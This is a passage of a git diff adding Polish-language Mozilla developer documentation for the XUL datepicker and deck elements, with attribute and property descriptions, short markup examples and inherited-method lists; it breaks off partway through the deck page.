+<dl><dt> Własności </dt><dd> <a href="#p-date">date</a>, <a href="#p-dateLeadingZero">dateLeadingZero</a>, <a href="#p-dateValue">dateValue</a>, <a href="#p-disabled">disabled</a>, <a href="#p-month">month</a>, <a href="#p-monthLeadingZero">monthLeadingZero</a>, <a href="#p-open">open</a>, <a href="#p-readOnly">readOnly</a>, <a href="#p-tabIndex">tabIndex</a>, <a href="#p-value">value</a>, <a href="#p-year">year</a>, <a href="#p-yearLeadingZero">yearLeadingZero</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad"> Przykład </h3>
+<p><img alt="Grafika:Controlsguide-datepicker-grid.png">
+</p>
+<pre>&lt;datepicker type="grid" value="2007/03/26"/&gt;
+</pre>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p>
+</p><div id="a-disabled">
+
+<dl><dt> <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Określa, czy element jest wyłączony. Jeśli atrybut ten ma wartość <code>true</code>, to element będzie wyłączony. Wyłączone elementy zazwyczaj są wyszarzone. Jeśli element jest wyłączony, nie odpowiada na czynności użytkownika, nie może zostać na niego ustawiony focus, a zdarzenie <i>command</i> nie zostanie wywołane. </dd></dl>
+<div class="float-right"><img alt="grafika:XUL_ref_attr_disabled.png"></div>
+<pre>&lt;!-- Pole wyboru włącza/wyłącza przycisk --&gt;
+&lt;checkbox label="Enable button"
+ onclick="document.getElementById('buttRemove').disabled = this.checked"/&gt;
+&lt;button id="buttRemove" label="Remove All" disabled="true"/&gt;
+</pre>
+</div>
+<div id="a-firstdayofweek">
+
+<dl>
+ <dt>
+ <code id="a-firstdayofweek"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/firstdayofweek">firstdayofweek</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Dzień tygodnia, który jest wyświetlany jako pierwszy dzień w siatce kalendarza. Zakres wartości jest od 0 do 6, gdzie 0 jest niedzielą, a 6 jest sobotą. Domyślna wartość jest określana lokalnie, więc tylko stosujemy ten atrybut, jeśli chcemy to przesłonić.</dd>
+</dl>
+
+</div>
+<div id="a-readonly">
+
+<dl><dt> <code id="a-readonly"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/readonly">readonly</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli ustawiony jest na <code>true</code>, to użytkownik nie będzie mógł zmienić wartości elementu. Jednakże wartość wciąż może zostać zmodyfikowana poprzez skrypt.
+</dd></dl>
+
+
+</div>
+<div id="a-tabindex">
+
+<dl><dt> <code id="a-tabindex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tabindex">tabindex</a></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Porządek dla przełączania elementów klawiszem Tab. Elementy o wyższym tabindex umieszczane są w dalszej części sekwencji przełączania.
+</dd></dl>
+
+
+</div>
+<div id="a-datepicker.type">
+
+
+<dl>
+ <dt><a href="pl/XUL/Atrybut/datepicker.type">type</a></dt>
+ <dd>Typ:<em>jedna z wartości poniżej</em></dd>
+ <dd>Możemy ustawić typ atrybutu na jeden z poniższych określonych typów elementu datepicker, aby je zastosować:</dd>
+</dl>
+
+<ul>
+ <li><code>normal</code>: Element datepicker z trzema polami dla wprowadzenia roku, miesiąca i dnia. Ta wartość jest domyślna, więc nie określaj typu atrybutu, jeśli jego wartość jest już pobrana.</li>
+ <li><code>grid</code>: Element datepicker, który wyświetla siatkę kalendarza , gdzie jeden miesiąc jest pokazany w jednym czasie.</li>
+ <li><code>popup</code>: Element datepicker z trzema polami do wprowadzenia lecz but an additional dropdown button, which, when pressed, will display a popup calendar grid.</li>
+</ul>
+
+
+
+<p> </p>
+</div>
+<div id="a-datepicker.value">
+
+<dl>
+ <dt>
+ <code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Łańcuch znaków pozwalający na łączenie sie wartości daty z elementem. Nie jest stosowany dla określonego celu, lecz możemy uzyskać do niego dostęp przy pomocy skryptu, wykorzystując go do własnych celów.</dd>
+</dl>
+
+<p></p>
+</div>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p>
+</p><div id="p-date">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/date">date</a></span></code></dt>
+ <dd>
+ Typ: <i>integer</i></dd>
+ <dd>
+ Aktualnie zaznaczona data dnia miesiąca od 1 do 31. Ustaw tą własność do zmiany zaznaczonej daty.</dd>
+</dl></div>
+<div id="p-dateLeadingZero">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/dateLeadingZero">dateLeadingZero</a></span></code></dt>
+ <dd>
+ Typ: <i>boolean</i></dd>
+ <dd>
+ Wartość tylko do odczytu sygnalizująca gdzie wiodące zero powinno być wyświetlone przed datą zanim jest ona mniejsza niż 10.</dd>
+</dl></div>
+<div id="p-dateValue">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/dateValue">dateValue</a></span></code></dt>
+ <dd>
+ Typ: <i>Date</i></dd>
+ <dd>
+ Data, która jest aktualnie wprowadzana lub zaznaczona w datepicker jako obiekt Date.</dd>
+</dl></div>
+<div id="p-disabled">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/disabled">disabled</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>.</dd>
+</dl></div>
+<div id="p-month">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/month">month</a></span></code></dt>
+ <dd>
+ Typ: <i>integer</i></dd>
+ <dd>
+ Aktualnie zaznaczony miesiąc z przedziału od 0 do 11. Ustaw tą własność, aby zmienić zaznaczony miesiąc.</dd>
+</dl></div>
+<div id="p-monthLeadingZero">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/monthLeadingZero">monthLeadingZero</a></span></code></dt>
+ <dd>
+ Typ: <i>boolean</i></dd>
+ <dd>
+ Wartość tylko do odczytu sygnalizująca gdzie wiodące zero powinno być wyświetlone przed miesiącem zanim jest on mniejszy niż 10.</dd>
+</dl></div>
+<div id="p-datepicker.open"></div>
+<div id="p-readOnly">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/readonly">readonly</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Jeśli jest ustawiony na <code>true</code>, to użytkownik nie może zmieniać wartości elementu. Jest to odpowiednia własności do użytku <code><a href="/pl/docs/Mozilla/Tech/XUL/textbox" title="textbox">textbox</a></code> zamiast własności <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/readonly">readonly</a></span></code>.</dd>
+</dl></div>
+<div id="p-tabIndex">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/tabIndex">tabIndex</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-tabindex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tabindex">tabindex</a></code>.</dd>
+</dl></div>
+<div id="p-datepicker.value"></div>
+<div id="p-year">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/year">year</a></span></code></dt>
+ <dd>
+ Typ: <i>integer</i></dd>
+ <dd>
+ Aktualnie zaznaczony rok z przedziału od 1 do 9999. Ustaw tą własność, aby zmienić zaznaczony rok.</dd>
+</dl></div>
+<div id="p-yearLeadingZero">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/yearLeadingZero">yearLeadingZero</a></span></code></dt>
+ <dd>
+ Typ: <i>boolean</i></dd>
+ <dd>
+ Wartość tylko do odczytu sygnalizująca gdzie wiodące zero powinno być wyświetlone przed rokiem zanim jest on mniejszy niż 1000.</dd>
+</dl></div>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Interfejsy </dt><dd> <a href="pl/NsIDOMXULControlElement">nsIDOMXULControlElement</a>
+</dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/deck/index.html b/files/pl/mozilla/tech/xul/deck/index.html
new file mode 100644
index 0000000000..c441b7f07d
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/deck/index.html
@@ -0,0 +1,140 @@
+---
+title: deck
+slug: Mozilla/Tech/XUL/deck
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/deck
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Element, który potrafi wyświetlić <b>tylko</b> jednego potomka w jednym momencie. Atrybut <code id="a-selectedIndex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/selectedIndex">selectedIndex</a></code> decyduje, który z potomków zostanie wyświetlony. </p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Stosy_i_pok%c5%82ady">kursie XUL</a>.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-selectedIndex">selectedIndex</a>
+</dd></dl>
+<dl><dt> Własności
+</dt><dd> <a href="#p-selectedIndex">selectedIndex</a>, <a href="#p-deck.selectedPanel">selectedPanel</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<pre>&lt;deck selectedIndex="2"&gt;
+ &lt;description value="To jest pierwsza strona"/&gt;
+ &lt;button label="To jest druga strona"/&gt;
+ &lt;box&gt;
+ &lt;description value="To jest trzecia strona"/&gt;
+ &lt;button label="To jest także trzecia strona"/&gt;
+ &lt;/box&gt;
+&lt;/deck&gt;
+</pre>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><div id="a-selectedIndex">
+
+<dl>
+ <dt>
+ <code id="a-selectedIndex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/selectedIndex">selectedIndex</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia indeks aktualnie zaznaczonego panelu. Pierwsza pozycja jest w indeksie jako 0.</dd>
+</dl>
+</div>
+<table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><div id="p-selectedIndex">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selectedIndex">selectedIndex</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Zwraca indeks aktualnie zaznaczonej pozycji. Można zaznaczyć pozycję przypisując jej numer indeksu do własności. Przydzielając <code>-1</code> do tej własności, wszystkie pozycje zostaną odznaczone.</dd>
+</dl></div>
+<div id="p-deck.selectedPanel">
+<dl><dt> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/deck.selectedPanel">selectedPanel</a>
+</dt><dd> Typ: <i>element</i>
+</dd><dd> Przechowuje referencję do aktualnie zaznaczonego panelu wewnątrz elementu <code>&lt;deck&gt;</code>. Przypisanie wartości do tej własności zmienia zaznaczony panel.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a 